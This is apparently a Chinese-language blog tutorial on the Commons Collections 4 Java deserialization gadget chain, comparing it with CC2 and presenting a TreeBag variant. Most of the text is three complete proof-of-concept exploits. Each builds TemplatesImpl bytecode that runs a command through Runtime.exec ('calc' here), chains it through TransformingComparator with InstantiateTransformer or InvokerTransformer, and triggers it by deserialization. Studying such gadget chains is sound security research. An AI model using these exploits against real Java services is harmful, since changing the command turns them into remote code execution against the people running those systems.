知识点补充可以看看我前面写的CC2和CC3
CC4这条链其实是CC2的变种,与CC2不同的是和CC3一样用了InstantiateTransformer而不是InvokerTransformer触发利用链,ysoserial中用 PriorityQueue 的 TransformingComparator 触发 ChainedTransformer,再利用 InstantiateTransformer 实例化 TemplatesImpl。但这条链有点套娃的感觉,没啥意思,这里补充一个对 PriorityQueue 的替代链 TreeBag。
ysoserial中的CC4和CC2特别像,只是改成用了InstantiateTransformer而不是InvokerTransformer触发利用链。
PriorityQueue.readObject()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
这是CC2的利用链
PriorityQueue.readObject()
TransformingComparator.compare()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
这是CC4的利用链
从上面我们不难看出,还是可以看到两条链的细微差别,我们之前也说过,CC3产生的目的也就是使用InstantiateTransformer绕过⼀些规则对InvokerTransformer的限制,换而言之InstantiateTransformer可以等效替换InvokerTransformer。
于是乎我们在CC2的POC上做些修改即可得到CC4的POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC41 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); // 获取javassist维护的类池
CtClass cc = pool.makeClass("Test"); // 创建一个空类Test
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); //insertBefore创建 static 代码块,并插入代码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //setSuperclass更改父类
byte[] bytes = cc.toBytecode(); //toBytecode()获取修改的字节码
//byte[] bytes = Base64.decode("恶意类");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xxxx");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
//构造利用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chain);
//触发利用链
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field field2 = queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);
Field field3 = queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});
//序列化 --> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
贴上CC2的POC可以对比一下
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2{
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); // 获取javassist维护的类池
CtClass cc = pool.makeClass("Test"); // 创建一个空类Test
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); //insertBefore创建 static 代码块,并插入代码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //setSuperclass更改父类
byte[] bytes = cc.toBytecode(); //toBytecode()获取修改的字节码
//byte[] bytes = Base64.decode("恶意类");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xxxx");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field field2 = queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);
Field field3 = queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});
//序列化 --> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
ysoserial中的CC4还是利用了优先级队列 PriorityQueue 反序列化时会调用 comparator 的 compare 方法的特性,配合 TransformingComparator 触发 transformer。
那么除了 PriorityQueue,还能否找到其他的提供排序的类,在反序列化时会调用到比较器呢?于是找到了 TreeBag。
Bag 接口继承自 Collection 接口,定义了一个集合,该集合会记录对象在集合中出现的次数。它有一个子接口 SortedBag,定义了一种可以对其唯一不重复成员排序的 Bag 类型。
TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序。
TreeBag 继承自 AbstractMapBag,实现了 SortedBag 接口。初始化 TreeBag 时,会创建一个新的 TreeMap 储存在成员变量 map 里,而排序使用的 Comparator 则直接储存在 TreeMap 中。
在TreeBag 反序列化时,会将反序列化出来的 Comparator 对象交给 TreeMap 实例化,并调用父类的 doReadObject 方法处理:
而doReadObject 方法会向 TreeMap 中 put 数据
compare 方法中调用了 comparator 进行比较,那我们就可以接上使用 TransformingComparator 触发后续的逻辑。
我们回头看看TreeMap的构造函数发现comparator 可控,那POC很容易就可以得到了
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
public class CC42 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); // 获取javassist维护的类池
CtClass cc = pool.makeClass("Test"); // 创建一个空类Test
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); //insertBefore创建 static 代码块,并插入代码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //setSuperclass更改父类
byte[] bytes = cc.toBytecode(); //toBytecode()获取修改的字节码
//byte[] bytes = Base64.decode("恶意类");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xxxx");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
//构造利用链
Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
// prepare CommonsCollections object entry point
TreeBag tree = new TreeBag(comparator);
tree.add(templatesImpl);
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(tree);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
TreeBag.readObject()
AbstractMapBag.doReadObject()
TreeMap.put()
TreeMap.compare()
TransformingComparator.compare()
InvokerTransformer.transform()
参考文章
https://su18.org/post/ysoserial-su18-2/#treebag-treemap